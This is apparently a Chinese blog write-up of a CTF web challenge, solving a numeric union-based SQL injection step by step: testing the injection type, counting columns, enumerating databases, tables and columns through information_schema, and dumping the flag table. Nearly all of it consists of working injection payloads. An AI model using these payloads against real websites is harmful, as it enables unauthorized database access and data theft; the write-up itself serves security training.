NU1LCTFer的成长之路-web入门-CTF中的sql注入-injection-wp

injection

主页是这个样子

判断注入类型 数字型

id=1 and 1=1#
id=1 and 1=2#

判断列数 两列

id=1 order by 2#

查询是否有显示位 union联合查询注入 2号位

id=1 union select 1,2#

查询数据库 ctfhub、informaion_schema

id=1 union select 1,(select concat(schema_name) from information_schema.schemata limit 0,1)#

id=1 union select 1,(select concat(schema_name) from information_schema.schemata limit 1,1)#

查询表(ctfhub) flag、info、

id=1 union select 1,(select concat(table_name) from information_schema.tables where table_schema='ctfhub' limit 0,1)#

id=1 union select 1,(select concat(table_name) from information_schema.tables where table_schema='ctfhub' limit 1,1)#

查询字段(flag) flag

id=1 union select 1,(select concat(column_name) from information_schema.columns where table_name='flag' limit 0,1)#

dump数据

id=1 union select 1,(select flag from flag)#

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值